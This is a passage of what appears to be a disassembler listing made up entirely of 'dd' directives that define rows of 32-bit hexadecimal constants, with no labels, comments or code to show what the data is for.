		dd 8C7EA10Ch, 7F1B9800h, 0E52DED3Eh, 9F5916EFh,	4074C353h
		dd 2A9B70E7h, 0A75CB0DDh, 0A93B2270h, 6503B86Ch, 0AD88EAA8h
		dd 0BCC29540h, 449E8040h, 5A0BD87Eh, 0AE5B3707h, 6CF4BE59h
		dd 0C8044ACh, 0DE82A512h, 75439500h, 22EDAE66h,	1A5602E6h
		dd 0B9E73A44h, 0A4266EE0h, 88478F4Bh, 0B471C605h, 0AAE848DFh
		dd 0B2A91E54h, 0C11B9A21h, 0E330A757h, 0F0F1FC05h, 41941FFDh
		dd 0F622906Ch, 32009CA6h, 888E9C12h, 3B0A3D1h, 53F84881h
		dd 4599FB8Bh, 6F288213h
		dd 578703FFh, 485F4027h, 4432DF81h, 64200B5Ah, 32898E0h
		dd 6068AA9Fh, 69E68FF8h, 0DB74300h, 50F55B36h, 46840002h
		dd 0A8285C0Ch, 4A0BEAE8h, 2D6B1A63h, 96D970E8h,	2F954401h
		dd 3B109C2Fh, 0F461C10Ch, 0AFE43199h, 86F91F7Ch, 446B058Ah
		dd 24ACA4DCh, 3889D713h, 8059E0C8h, 912913F1h, 0E386B06Dh
		dd 48F9EF18h, 35C7D070h, 9C017E4Ah, 70A1A8FBh, 89D66220h
		dd 6A0B3C0Bh, 3014C474h, 3E28B0A4h, 6DF80530h, 660E9918h
		dd 169E120h, 0FF873104h, 6DEE8384h, 3A9ABC2Ch, 1A0F1102h
		dd 7EA02194h, 6DF7438h,	69257CBAh, 8F402415h, 2994A4h
		dd 7BC9BDB2h, 42D78EAh,	83103507h, 505075CAh, 477D5A9h
		dd 0A7AABC1Fh, 80C4C502h, 765A6C9Ch, 0E501DCB6h, 9547974Fh
		dd 8A135879h, 96D080E9h, 0B14E4DA4h, 0EC0FE40Ah, 44465Eh
		dd 7021EE51h, 16B59A4h,	73B258C1h, 30F85BE5h, 0ED7115A8h
		dd 0C5996125h, 609CC48Ch, 19673696h, 0A055E5D3h, 0BB51891h
		dd 506FA43Dh, 0A1804CE5h, 0B8773DBEh, 73A803B5h, 8FDD46Dh
		dd 0E084B0ECh, 63635825h, 4E41A448h, 93A2B066h,	78A39970h
		dd 8A895F11h, 9C641C16h, 23ACF612h, 74B0AC2Ah, 2B007046h
		dd 77EEDF76h, 273BF9EAh, 0A5E53F43h, 6D380217h,	0E018EDCCh
		dd 627E3267h, 0FB9C301h, 0CF2A9EE9h, 10C42F2Bh,	92C071FDh
		dd 9B5B8EFFh, 65BB570Eh, 34DA216Dh, 0C038E0BFh,	8C74BCh
		dd 7AD84D6h, 55E439FAh,	47505091h, 738007DFh, 0B09CF7D9h
		dd 675E298Ah, 1118BEEEh, 0AF19D6E5h, 2F202834h,	0E004009Ch
		dd 836C2886h, 890FC557h, 2084143Dh, 427EF2F1h, 514D1E74h
		dd 0A52B0724h, 926D8340h, 0F7C84814h, 4CD0E004h, 0E1FE00F3h
		dd 0C42BFC58h, 40F9EB50h, 0C806F2C3h, 3ED0B0Ch,	2B4EC9h
		dd 0F794A9E1h, 0E791C1E2h, 9C4BBF03h, 0BB58C6FFh, 7B4FB0FBh
		dd 695D0320h, 70452EC8h, 0E40F7100h, 0F4ECF8B8h, 0EEA019BBh
		dd 8077088Ch, 0B89BB221h, 0FFD358h, 9EE57D6h, 0E702FE35h
		dd 3D18781Eh, 6FA27BC3h, 0F91D98FBh, 0E881EF3Bh, 9FB3CBC8h
		dd 97788695h, 7E09E7Fh,	61D41E4Fh, 0D927706Ch, 3B008278h
		dd 0F5C84174h, 371645B5h, 10208690h, 0EE47D9C3h, 9D209553h
		dd 37817D51h, 6F8026h, 0D1966DC6h, 7C00AC3Ah, 243105B9h
		dd 9F192CA2h, 0B408B21Bh, 9DD6219Eh, 3D484005h,	2E25FB66h
		dd 0EC15EF7Ch, 2D0C5E5h, 0B75E3328h, 90184A4Fh,	819B231Ch
		dd 275EE488h, 0B9ACA500h, 0E6568262h, 0A4990A0Eh, 85AC6A1Bh
		dd 419D496Ch, 7927C2F8h, 35A440D2h, 8802C64Ch, 2429C9D3h
		dd 78E2D9h, 6F59F0A8h, 200300E0h, 0BBCCEE6Dh, 0DD0C1928h
		dd 59884434h, 0ED78007Ch, 0FBA7ECE6h, 0E0038A7Fh, 88025A60h
		dd 4D4805BAh, 4272B016h, 0AA9F1A0h, 0EC75440h, 6D7C3872h
		dd 0D21F5904h, 0A942A21Dh, 4420C7F3h, 3D50FA8h,	69A27F2Ah
		dd 0A0E0FDCCh, 0D1C0F870h, 9E2EF597h, 11F90622h, 8E11ACDh
		dd 3821F060h, 1662EEEh,	8077CCCEh, 0FC5870DDh, 330C714Ah
		dd 79A3828Ch, 0C0A0E9Eh, 470EA052h, 3D61FDCEh, 0E0601348h
		dd 3E05808Fh, 67E05F0Dh, 806CDB15h, 0ECF6B89Eh,	62448CE4h
		dd 0B89500B0h, 164FB6C5h, 0F8C00FF4h, 4C4D53EDh, 916539EFh
		dd 70B82986h, 5F00B9A0h, 5B097A2h, 74E966E1h, 95600674h
		dd 596E21A4h, 1A06B67Eh, 0F0A61391h, 764F0940h,	48108650h
		dd 0EB49F7EEh, 5E328628h, 28E74888h, 87A04448h,	6C005E2Ah
		dd 641D88Fh, 90B4F65Ch,	6D542410h, 814511E8h, 0ECEFB89Fh
		dd 107931DAh, 1FB896B1h, 0C0157FB0h, 0FB10F39Dh, 21C06D43h
		dd 0A89F5F7Dh, 0B16E00C9h, 3A73322Dh, 8F149333h, 247426A4h
		dd 3406C44Eh, 49D969D7h, 0B780B498h, 0B2243305h, 0DCB5448Ch
		dd 0E3059D00h, 0AEAB2199h, 0C0100257h, 0DB6517A8h, 41088440h
		dd 71689E18h, 24F12330h, 5452A3h, 6B55B45h, 55033A4Ch
		dd 5CA8C9D4h, 81F9EA96h, 0BF417598h, 4809C471h,	213405F4h
		dd 0E1C0BA24h, 901205A2h, 0D914076Ch, 504E68ECh, 2B5E1E27h
		dd 0CB09AA15h, 82C528C8h, 432A4092h, 93008874h,	0D321C433h
		dd 785B20F0h, 0B8C748F2h, 11908524h, 2EFA80A5h,	8CD122E3h
		dd 0D9F244h, 0E5BC2EEAh, 8D7C159Dh, 532C1B00h, 70B78489h
		dd 3129C09Fh, 2AA452C6h, 4D00ED7Ah, 817EAA63h, 43C6E65h
		dd 6F52D9Ah, 5500808Dh,	0BE059B82h, 4E20C908h, 18E60C0Fh
		dd 4321D9h, 882BA11Fh, 1D9AB60Bh, 41056E74h, 6D14DC0Eh
		dd 0C097F448h, 243205B6h, 8873AA46h, 3A80A4DBh,	1E530986h
		dd 1811FE02h, 8B81895h,	9A243005h, 0DD40B3C4h, 55B8059Eh
		dd 2EE81FFEh, 0B9D4E730h, 6A18B3h, 0ECBD6CF3h, 0D0DAAF0Ch
		dd 310041E8h, 85491F5Ah, 244C05FEh, 9C9F3Eh, 0C851431Ah
		dd 0EA1391EDh, 0B850CA4Bh, 1A123D4h, 229F2EF6h,	88E918F1h
		dd 2E7EE735h, 0FD2F4D01h, 5358F9FBh, 22CC8C20h,	44A56D11h
		dd 0D560B8C4h, 4B006BD4h, 0EBFE8A8h, 246716C5h,	262B91BDh
		dd 8E486010h, 0F341E7E2h, 7AF0C4Ch, 0FB4504E5h,	16BEA0ECh
		dd 0A4FC68EDh, 11018B00h, 476AF531h, 2C31C1F9h,	0F49854FAh
		dd 211844D7h, 0A999262Fh, 0B4CC54F1h, 0F34700E8h, 0C29B4D54h
		dd 22541206h, 97F37F88h, 0BC0375C1h, 0D88A36EDh, 280F4B2h
		dd 0ECF534CFh, 5C64B1BBh, 27AD1016h, 2AC82044h,	9E060D8h
		dd 94ECF4B8h, 0AE04DC9Ch, 6119B897h, 0C04ACC0h,	8264B36Dh
		dd 5BB0262Dh, 4D1D043h,	20943119h, 81C3D218h, 0BAAD2022h
		dd 602C247Bh, 23FAB8E2h, 7811C4ECh, 0B899B400h,	24F99E2Bh
		dd 2C0A3F00h, 0E7E925D0h, 0CAC4A3B9h, 6AA1421Eh, 474C6128h
		dd 0B850E118h, 30A48C88h, 0AF6444h, 5BC9B898h, 0E124627Dh
		dd 0F0BC032Bh, 77612880h, 1F25FD60h, 921D98D8h,	0F0E85408h
		dd 0B85113Eh, 4023B9DCh, 0E14625E4h, 2A7A19F9h,	5504C0ACh
		dd 92525947h, 6044D098h, 35669187h, 3D000AABh, 866D6855h
		dd 0A19EFDBBh, 0B02032A4h, 99A26070h, 0DB354CA4h, 2BF8AF00h
		dd 0F1240FA3h, 0C09B6993h, 60E67C84h, 10B95E31h, 0C8812F4Fh
		dd 458680DCh, 1AEAC65Eh, 96DE4401h, 35092059h, 0F0B4B880h
		dd 5CA71EEEh, 670A3Bh, 0A318BF3Ch, 0B94398FBh, 0D8990788h
		dd 345B30A5h, 5211E82Ah, 25817A47h, 0A7D0C6Eh, 0BBAB4102h
		dd 18401108h, 78C12D45h, 0B82A4B6Eh, 48348044h,	1F10702Eh
		dd 5613C09Bh, 39A9E61Ch, 0FC81FB4Eh, 0B22F8A7Eh, 0F658BD33h
		dd 0D8E8762Eh, 0A4D7C480h, 12FBD07Eh, 0C7167Ch,	0EF809FE4h
		dd 0A60F4CF5h, 0C00FE84Fh, 0BB2D59C3h, 121700EEh, 0FA3F54CFh
		dd 553FFDBAh, 38805697h, 4B77210Eh, 549D5437h, 67F9DC7h
		dd 830C254h, 0B748CD84h, 0DD2D84C0h, 26680616h,	10121988h
		dd 849CD1A5h, 0A4BE4CDCh, 78CB7BCh, 6ACB43DBh, 82FE603Eh
		dd 0E7304A29h, 0A0A8B1D1h, 0D3410E2Ah, 22E0018Fh, 0F14C2442h
		dd 6ADC6C09h, 20D0484Fh, 0B6F94410h, 19A37030h,	9082F6h
		dd 0C5BC8BBDh, 923021ABh, 9D28C660h, 7FC1EFF0h,	0AE7F280Eh
		dd 6062004Ch, 9C0B3CBFh, 42000DCCh, 5D1A1434h, 5C37201Bh
		dd 0C6412083h, 0E0B2EC13h, 9967C142h, 18627954h, 4F4D040Dh
		dd 0C027D80Eh, 0BC3C5848h, 0B87BD92Ah, 0DA652810h, 427E844Ch
		dd 1A4230Dh, 22E22EF9h,	88EF18D9h, 2E02F1DCh, 3B91CCD0h
		dd 81E48237h, 124207CBh, 0F8C5BFABh, 0B960B5E4h, 1C00F4CDh
		dd 47C007DCh, 76A6C1Ah
		dd 0CC51E63h, 0B0A8665Ch, 0CD6DD080h, 0E2F44382h, 0C20D00AEh
		dd 0F701371Ah, 6E501F59h, 0AE408088h, 489FF123h, 4400809Ah
		dd 0CE3628FDh, 8467E86Eh, 0B5380121h, 81589E98h, 310126D3h
		dd 120889FCh, 416020A4h, 865B88A8h, 0BBA8A6BAh,	9BDC543Bh
		dd 0A13EAD00h, 7AFBD266h, 1E4E0C1Fh, 0FA9874C4h, 4440CC4Ah
		dd 4F232B7Bh, 945AF606h, 2A914038h, 48FA1914h, 0F09BE400h
		dd 9A340C5Ch, 8BC00D7h,	4EBBFB18h, 490010EAh, 0A11AE809h
		dd 24114413h, 74FC5314h, 8F48DD46h, 99811B3Ah, 3B4F11EDh
		dd 801C2842h, 261A3D1Ch, 0B8932C20h, 632944BCh,	0ECF3E8E3h
		dd 0C26891FCh, 0FCC09AB5h, 4F05E8D7h, 0FA78FCAAh, 0F7EFEC02h
		dd 355890EAh, 4F9D115Eh, 9B2084CFh, 0BB00ECF2h,	0BA8BA30Eh
		dd 947A6E4Dh, 2E1DA8C0h, 499D012Dh, 0F38F809Eh,	0E922E082h
		dd 0DA10ED31h, 0C9002EEBh, 0E2D7C115h, 13086B07h, 229EAE5Ch
		dd 0E868F578h, 0E2248255h, 720D54CDh, 0A02C209Dh, 8CE9BCh
		dd 48FA951Dh, 602C764Eh, 25011090h, 410817F9h, 68288574h
		dd 18CEFBCh, 3F7133E2h,	0E5B6201Ch, 0CEAC50CDh,	0B100C12Bh
		dd 7827AB08h, 988271E6h, 0B07620F4h, 7726340Eh,	0F2684399h
		dd 69402EDFh, 5B465E80h, 0BACDE301h, 0C86BA1E6h, 54B8A5C7h
		dd 1214843Ah, 0F0CBB335h, 0A0C0B3C8h, 7425AC8Fh, 0BEF030Fh
		dd 0C6F0A99Eh, 834EE101h, 0BB2FD924h, 6E08943Ch, 23026C7Ch
		dd 0E599FFE1h, 0A2C33DF0h, 67753063h, 0C168ADE6h, 5A40C0A2h
		dd 808BFCh, 8684781Ah, 7A57B2B9h, 0D302E87Eh, 5972FD2Bh
		dd 40D84887h, 0C4D62E9Ch, 17116AC0h, 6884005Bh,	83A3D11Ch
		dd 0F45FE21Bh, 262CA8B8h, 97AB32F9h, 0C453DF10h, 7771C8A9h
		dd 6B0B9F18h, 33767C58h, 0E22FE920h, 157AE438h,	0C4A68219h
		dd 7D2D1400h, 4E27A560h, 2B87AC0Bh, 0AFB0B054h,	0B89B4C4Dh
		dd 9A048C73h, 4A243605h, 0DFC09CB2h, 7EA705A8h,	0FD746600h
		dd 725F07D1h, 27F91524h, 9B27E88Bh, 0B3915497h,	0DE37BE80h
		dd 60484D9Bh, 9E7E10DCh, 0C8ECCA92h, 1E99C1EFh,	0F9C2D060h
		dd 0A2451B02h, 0D0C74410h, 0A37E17B0h, 7C5289h,	7C40FB98h
		dd 5CB9E6A2h, 6A0BDA00h, 3C9AD5h, 73B41005h, 70D4D09Fh
		dd 0EBDA2766h, 8CD3D71h, 9D8B6B80h, 6EC4F6B8h, 0B029C501h
		dd 22156F92h, 88022421h, 0E89C20B1h, 6601EB87h,	8127D33Ah
		dd 31E08C57h, 0D989002Bh, 0E996F291h, 0E07C029Dh, 289EACA1h
		dd 0FC610434h, 7CC23CA1h, 0A29091B6h, 2E1FF718h, 20A322E4h
		dd 0EFDE2658h, 0AD820C6Ch, 67E03F91h, 4F8F2700h, 0BD095015h
		dd 76EA87h, 0BB13460Fh,	27DE33FCh, 530BD900h, 22D17442h
		dd 0BC41C0A5h, 69B8BE55h, 97B05FB0h, 0F940E4B6h, 0F49C610h
		dd 0E6E021A2h, 771B3C40h, 0BF01D9D2h, 0F461448Ah, 16DC24ECh
		dd 0A26500B7h, 20EADF84h, 6F229F63h, 0C2BAC09Dh, 0DF2B0482h
		dd 0F146A0B0h, 485E341Dh, 0DBC4D74Fh, 5E2C8940h, 7F3187A8h
		dd 0BDCEB9A9h, 0E5957F4h, 659EA26Eh, 26209BC0h,	9C4837E1h
		dd 0EE3081E0h, 0A4387BDDh, 58C65E8h, 9F4375Bh, 88489231h
		dd 6E302000h, 607F4A25h, 4AA48C4h, 67031700h, 1C6F7B65h
		dd 462C0572h, 13DBDFC8h, 239C2EF8h, 5CF500EFh, 2064D0FEh
		dd 50306C4Ah, 11D14B1Ah, 8182639Bh, 0CE651820h,	0CAE6F88Ah
		dd 4C6180A4h, 1A1B489Fh, 59C5A5Ch, 6D12A46Eh, 89B3F8D1h
		dd 7A20E800h, 104E6C25h, 419638F0h, 0F06DEEC7h,	0CF6064E4h
		dd 8548C0BFh, 2171008Ch, 0E2542683h, 0AFF80A7h,	4ABD800h
		dd 0F99C6914h, 0CCF407DAh, 0A57976BBh, 0F2B4A2A9h, 569033B8h
		dd 0E61C0E24h, 0BB4704E3h, 38D0A016h, 7672EDC5h, 78021485h
		dd 724F84BDh, 40329AECh, 4B24357Ch, 0DAB02CC2h,	6305A300h
		dd 0E4D5599Dh, 0A5B205ABh, 52F0CC32h, 907BD4h, 8E271C85h
		dd 0B16D5466h, 1864D14Ch, 4EE28Ah, 0E9111013h, 802515F9h
		dd 0F1242B0Ah, 0E089805Fh, 0CF0C06FAh, 2EEE5F11h, 0F7DE10F4h
		dd 162D76C0h, 202E8A11h, 0F30B20B2h, 780445EBh,	29047FFBh
		dd 28EDAA65h, 0A47060A0h, 4EC90098h, 0B0A55FF7h, 0CF3B73CEh
		dd 158B0040h, 3E60EC12h, 0F4F90BBFh, 0DCC925A4h, 832468B9h
		dd 0BA7CFA87h, 0E0D282h, 17F896E2h, 7FE8D7ADh, 5587C4BEh
		dd 0A6C78341h, 0C9611100h, 0A17600CAh, 0D7E057D4h, 0DF014EBBh
		dd 0D19FED47h, 0E2D0BC8Ah, 0B5EE15FAh, 0C04C9C4Dh, 8960AA48h
		dd 0D914FCFDh, 0EE3E8600h, 0EB599788h, 1EF01C3h, 22435047h
		dd 0E84C4083h, 0A20F0635h, 254DDD02h, 0CC279CF3h, 0F16C1DE2h
		dd 0C9260008h, 92A5D8C5h, 6933BE00h, 0E9400D27h, 54F902FAh
		dd 910FA0E0h, 38935070h, 0F3D15829h, 200D418h, 0FEF70640h
		dd 17A38FADh, 9D79371Ah, 0E2686278h, 0F88132B0h, 20F14BE9h
		dd 762D2F28h, 47540920h, 0F7DA627Ch, 48774E18h,	0E7098445h
		dd 0F4E740A7h, 189B1F42h, 0D602CFB7h, 0A4C45FFBh, 9B304427h
		dd 0BF2C0A18h, 0B546567Ch, 0D0758700h, 65CF541Eh, 0A081AC27h
		dd 1AD808A0h, 45E40049h, 574074B9h, 9E39C9E1h, 630B8173h
		dd 0A182B7A4h, 429A319Dh, 4FBD87CCh, 4E65DCC0h,	5067B724h
		dd 44459803h, 0F0B90075h, 8FF305Dh, 8B4AA4E2h, 22E1D0CDh
		dd 0E012A023h, 47044020h, 40BC4DE7h, 0E81D1F1Bh, 9D211F38h
		dd 4169FC6Ch, 9E91A48Ch, 4629E700h, 1FB4BB67h, 64B64856h
		dd 0B76AA098h, 0F1ECEE52h, 950C9B24h, 0A2A9AC00h, 88ECB658h
		dd 264D1780h, 2344C06Ch, 984C83F9h, 88CAE5FCh, 0F0C0B0C8h
		dd 9793E925h, 90B64C0Fh, 6E905688h, 88895B04h, 0F8E72FDAh
		dd 64B85058h, 0CD3048Ch, 975A4721h, 36C02878h, 294F9A5Eh
		dd 608C8107h, 915E2E8Bh, 644A0600h, 463217BDh, 229505A7h
		dd 12200230h, 9D8808CCh, 488A3A80h, 1BC854Ch, 2FF679EEh
		dd 7834DC44h, 0ECA72664h, 60CCDD50h, 92D991D5h,	0E7001057h
		dd 2179BBA6h, 0DECF1Bh,	318AD3A3h, 27199D84h, 29BC2Dh
		dd 0A2AFF5Ch, 30BDE495h, 0B049D2E6h, 0A71DFA8Eh, 0CD008881h
		dd 0D9D89957h, 0BBF72F6Eh, 0A01A7407h, 0F0A9A664h, 0E48C1CA3h
		dd 7B728A04h, 5175E400h, 0BCE35D81h, 72541806h,	0A77F7882h
		dd 156E8A8h, 0FFAA3A2Ch, 92EB003Ah, 65DDAFD1h, 0B3FE00B8h
		dd 0B0475C2Eh, 2826AD8Ah, 202BA0F1h, 1CDA5316h,	44C2EEC8h
		dd 0EDF09132h, 5E083018h, 0CB374FB8h, 48859CA0h, 0E905575Eh
		dd 2ED10FF8h, 0FAE8E819h, 5FBC7AD6h, 6EF45349h,	4DE04C0h
		dd 0EF80185Ah, 2D3822CFh, 98A4D006h, 4C40B80Eh,	24F11899h
		dd 13E89F80h, 150162Ah,	4D9DAC30h, 0CDC04063h, 0F44BA9BBh
		dd 547BA4D0h, 0DE223030h, 8E538850h, 20B88C62h,	11589775h
		dd 9BCE8079h, 1469F3B1h, 0DA5239F8h, 9C0B977Dh,	0FC005C64h
		dd 0A2BDF3E1h, 9302F14h, 98B94C20h, 0E1D60C18h,	7EBC9900h
		dd 0CA6E0471h, 2A4C0021h, 0EE278661h, 0D126DB3Bh, 4343DC1Eh
		dd 2F890E60h, 8E8062EFh, 80B417F1h, 9D3954F8h, 87DC0048h
		dd 0FA512F6Fh, 0BBCC12ECh, 0B7D4E6C6h, 0E50E73F0h, 0B1AA0049h
		dd 92E4ED2h, 0BD0F2B72h, 89AC4D55h, 1D5C5AEFh, 0DB612EAh
		dd 0C82088E7h, 6490E5F1h, 851C6E2Fh, 1CE1587Ch,	200A4479h
		dd 25E83829h, 74E69064h, 1B84300h, 4C331664h, 913492AEh
		dd 5AE820F4h, 4DF444DEh, 0EB1CC150h, 74C702EFh,	0C32547BCh
		dd 1802A0ABh, 883E7653h, 0AFD46070h, 18260CC7h,	0EA4834BDh
		dd 0A615BB01h, 8E12C9E7h
		dd 934D8450h, 14A82C6Dh, 888404Ch, 310A9DCFh, 9C259B21h
		dd 0A808A712h, 1A12BFC8h, 670235Eh, 2FACBBE9h, 0B8B00400h
		dd 9EAD280h, 3D54D681h,	3C09285Ah, 0C59D0169h, 64EE64E4h
		dd 5801DA12h, 681BF66Eh, 76F26822h, 12676830h, 0C18A4B7h
		dd 1A61A111h, 0DC3D6200h, 0E4A7D7DFh, 0B84F500Ah, 0A4BC4CABh
		dd 40526BC0h, 280F9276h, 5F0AEDB8h, 0CBA304FCh,	8C88F927h
		dd 0D0261453h, 1400C069h, 34BCAD81h, 0C2284B80h, 0C07FF0B3h
		dd 0F9702E00h, 6318748Bh, 0CD33001Eh, 5443CFE2h, 9D670Eh
		dd 56E92784h, 744400A7h, 0E51E642Dh, 11768CBh, 2C8B6007h
		dd 20C0F2C8h, 49D9143h,	12613AEh, 4CA8AC34h, 48BD48F0h
		dd 114312C4h, 4E6C5444h, 52A4F488h, 1C4EB823h, 5830DE80h
		dd 51C221A7h, 0B6681300h, 9A0D56C3h, 38480CEDh,	0F3485D20h
		dd 4443D788h, 7B01AF75h, 0A94AB7BBh, 0C7079B81h, 5D7EB033h
		dd 0BD9F97F5h, 6D48880Ch, 357D9942h, 40112021h,	806C9BD7h
		dd 2432D240h, 3ED00BFCh, 88C8E6AFh, 0E73B3C78h,	883681BDh
		dd 0C3149AEDh, 9F1CD2E8h, 854E4A0h, 0AC998209h,	0A2167300h
		dd 1CC5C3BCh, 0BFD747h,	0F90502A3h, 527310E5h, 5C208817h
		dd 7623983Ah, 0C0BCA60Eh, 4F7BB0F0h, 0C1384F0Eh, 0BC734584h
		dd 0B4EE2C29h, 9B24215Eh, 7436FF80h, 0ABE5414h,	7019406Ah
		dd 6C880BCh, 0A2C06B29h, 4753EC00h, 0E335247Ch,	0F1201226h
		dd 92CCA4D3h, 878140h, 0A76AFAEDh, 47E1BE59h, 0C839DC9Ah
		dd 2DE782ECh, 0EDEEDFBCh, 0AACFC0F8h, 0D604E8E0h, 0E169BB39h
		dd 73F40C81h, 0D138C004h, 0B0A14E0Ch, 0AEC870F9h, 0E220251Fh
		dd 0A41DB826h, 725D7844h, 0CEE008F6h, 0DD00B807h, 0BB845822h
		dd 4A5748FCh, 2B1421EDh, 2106D8C5h, 72250500h, 8D89B8D3h
		dd 0CE020215h, 0DC8271ACh, 607E90CAh, 1B3465Eh,	25BD132Bh
		dd 0E882AA8Dh, 232D1820h, 0D49EF4F2h, 0B518F75Eh, 41B99607h
		dd 82E7231Fh, 0F5282251h, 3CD8012Eh, 680CA5Ch, 79F4660h
		dd 22E12EF4h, 40ECC428h, 0D32EED37h, 0EA993CADh, 46802CC8h
		dd 433EF1C0h, 8DD92809h, 60D88AA9h, 0F7DD2174h,	6CCB9280h
		dd 7145D72h, 163B2012h,	0B01049A4h, 547C7808h, 67289527h
		dd 0B485604Ch, 0BC1D722Fh, 1DC0F083h, 0F42B1730h, 7D18C0B7h
		dd 428E1B2Eh, 24BAC20Ch, 0F91A3083h, 33A83980h,	5C7A08BEh
		dd 7B9BD403h, 73B783h, 0F1C45221h, 18B8F969h, 0C0F0D719h
		dd 21808808h, 9CF1B2B1h, 0F900EDDAh, 0A8144389h, 3DE14C5Dh
		dd 2F8152B5h, 2D77B71Bh, 7A7083B6h, 670DE36h, 8FFCFA40h
		dd 0AE90200Ch, 387B3930h, 30AE7235h, 0B4C0305Ch, 3C00CACFh
		dd 1FCE5A8Ah, 0CCB652B9h, 70212B08h, 81007C98h,	43EB76B0h
		dd 7E9B0DE3h, 0FD7F3782h, 46396379h, 0D45897E0h, 3447CE0Fh
		dd 0C87C8C90h, 0AC080071h, 0B98215F5h, 0B0E07FE8h, 83DA39CEh
		dd 0B1F3C1h, 336A1411h,	561F3BC4h, 17668176h, 2821CA08h
		dd 0AA6273h, 6B6A6C0Ah,	0FFF93D1Dh, 1625E300h, 91562382h
		dd 0F288C069h, 19DE0207h, 0DC0CB4F8h, 48B521F5h, 155C3450h
		dd 0B08808E1h, 0D03CCCC0h, 229E465Ah, 0C5160723h, 0F049D83Ch
		dd 36C6881Dh, 0B33443E1h, 46B1A906h, 24889695h,	82086D18h
		dd 50597016h, 0F594C480h, 0D0A2C02Dh, 8FF81890h, 0B246D4ACh
		dd 883CCE1Ch, 25C4AE5Ah, 3CC71440h, 3300ABF1h, 60B51E03h
		dd 28C11FCh, 4C2E4A28h,	0BF8063C6h, 5809F990h, 0F2532300h
		dd 42017ED6h, 0C87154D3h, 6E048CC5h, 3F3BA833h,	311E0B63h
		dd 8D9F6677h, 26A13BC0h, 37058BA6h, 0F0D81FECh,	7E1A7DB4h
		dd 0E01DE1CFh, 88FAC4F0h, 0FC751AF3h, 0B4900878h, 0F00082BFh
		dd 5D3E460Fh, 1884ED12h, 2168F9DCh, 99CEC4F5h, 80620935h
		dd 61813FC0h, 1E7EA11h,	4ADC28Bh, 505BBE1Ch, 0EBC82F8Ch
		dd 52D33491h, 0EE0034D9h, 2E90C36h, 0F44CF9A8h,	77B31D80h
		dd 0C898BB54h, 336DC0C0h, 7433BABh, 0A0617687h,	0DEF4EAD9h
		dd 59901A03h, 0EB2B405h, 5AB50D58h, 240C65h, 0A0A57AA0h
		dd 68C8CD10h, 336CC0C7h, 0F463BAAh, 753D1022h, 2A800064h
		dd 775C481Ch, 26150720h, 76FD5AD5h, 0B0070CAh, 66253560h
		dd 3EE831D3h, 0A105D20Ah, 6080B475h, 0CBF08ADCh, 11D0FA23h
		dd 81BE0068h, 452032F0h, 0A6830035h, 0DE389AF5h, 0C4A8275Bh
		dd 88184DE1h, 4718FEA8h, 0C41C1CBFh, 75048006h,	0EF5515DBh
		dd 0FB31CF00h, 4A41BE51h, 0AA381214h, 11881285h, 0F850E8D7h
		dd 393040A7h, 0AC94F026h, 1786465Eh, 0FB01EF4Eh, 126BED5Ah
		dd 5D3CB840h, 509700D7h, 41F13553h, 5A14FE8Ah, 0BCC0DB45h
		dd 722F21C8h, 5E3BD201h, 430953Dh, 0C80713FAh, 41840FF2h
		dd 5FE7FE5h, 0DC5B18h, 0B6D3B4DCh, 73E6B9EEh, 0D4EC4B00h
		dd 416FF376h, 38B7739h,	399EB31h, 0D10079BBh, 0ED2A0653h
		dd 8EA165h, 0D3C46AC1h,	0E109C232h, 0BC079600h,	6FE4FA41h
		dd 4AE8C113h, 6454E5A8h, 0A7074F24h, 489D6D41h,	64781212h
		dd 2AD4640h, 5ACD3CC9h,	102E31B6h, 313CC26Fh, 63FEC05Bh
		dd 0CD7BDC24h, 0B901B01h, 7CE2EA19h, 78A76423h,	0CB0436C3h
		dd 0EAE080C5h, 0B6D90579h, 911BED58h, 63E4E380h, 302AA26Ch
		dd 4F07D0CCh, 15FCC9D8h, 4809D79h, 20722FC6h, 2EFAD0FFh
		dd 400C037Eh, 23614EB1h, 6DD45900h, 1FB0BD5Ch, 0FF9807Ch
		dd 60262824h, 4874483Eh, 1612394h, 0FAC8F0CFh, 888418E8h
		dd 0F00086C3h, 3F29CBD0h, 495D33B8h, 2A0720DDh,	20DE5844h
		dd 2386F69Dh, 79043973h, 0CDE46D3Fh, 290A48Ch, 0FBB2EF0Ah
		dd 9065DB3Dh, 986010E4h, 5D002547h, 0DE9A0DC4h,	0BAF3A9h
		dd 91656376h, 6CCDACBCh, 48A05B48h, 8C0FBC94h, 4F341500h
		dd 0C2E69FBDh, 0C78504F2h, 0C80BE558h, 0D56C3390h, 408F18F9h
		dd 0CC99C514h, 10C0A9D2h, 619E6CCh, 0C157FEBh, 0D60658D2h
		dd 0B5A42258h, 44BD0129h, 0C23F9421h, 0B094208Ah, 6C91317Ch
		dd 1036C6D1h, 0D96A6500h, 1FC031F0h, 3085D305h,	0E4C148C8h
		dd 490072EBh, 0AB031BE8h, 4BF797DCh, 4CB3E239h,	0E63CE274h
		dd 80A6435Ah, 3F3CC011h, 0FC080087h, 0E6FB1A6Ah, 0D926A63Bh
		dd 27054C84h, 90C1B93Ch, 3400B4C7h, 49A3A40h, 0C1E88C58h
		dd 2146BB5Dh, 12FAB074h, 1D2BD3E7h, 5B680264h, 0A045DB3Eh
		dd 20D80FE5h, 0EBD00003h, 0F5CAD70Eh, 7E0C89B5h, 909565CEh
		dd 2503307Fh, 7659BD31h, 0C0036092h, 1969CDB1h,	0A4B950BFh
		dd 0CE048C64h, 0B0FACFF0h, 8501C238h, 0CC92ADF0h, 39F8224Ch
		dd 4628B093h, 0F1A80287h, 1C58F96Dh, 0F1B6B50Fh, 1D1A947h
		dd 4D163350h, 40DDD45Bh, 21688096h, 0FC169017h,	44023905h
		dd 80535638h, 1E6B2EC8h, 467898D1h, 3CCB02AFh, 51C65A8Bh
		dd 0BC6D6010h, 0FF01993Ch, 36E23FEFh, 6C22F474h, 0A810DA03h
		dd 95C0AB54h, 590AF514h, 0FC174BFDh, 0B240093Ch, 43C6D89h
		dd 471F837h, 34C1FB80h,	28AEF58Ch, 84467604h, 44DA6403h
		dd 2E80DE93h, 374C4546h, 0FFF809A8h, 2DA0A0C7h,	4B79B1A6h
		dd 85B00858h, 6BF1AAC0h, 22C846F9h, 0B0B70287h,	8C2C10F1h
		dd 0ED24F440h, 0C00A6C00h, 0ECD2C28Fh, 0C01967E3h, 800392F8h
		dd 7EBA4E40h, 8C2DE401h, 0F6500FFBh, 0B39E860h,	0A7EFF992h
		dd 0D759F022h, 8E2F88A4h, 0C78D8828h, 0E8A950BEh, 0C0161F66h
		dd 0A4009963h, 14C26B4Ah, 8B192870h, 306952C8h,	8F3084E2h
		dd 40F44B93h, 585F26E0h
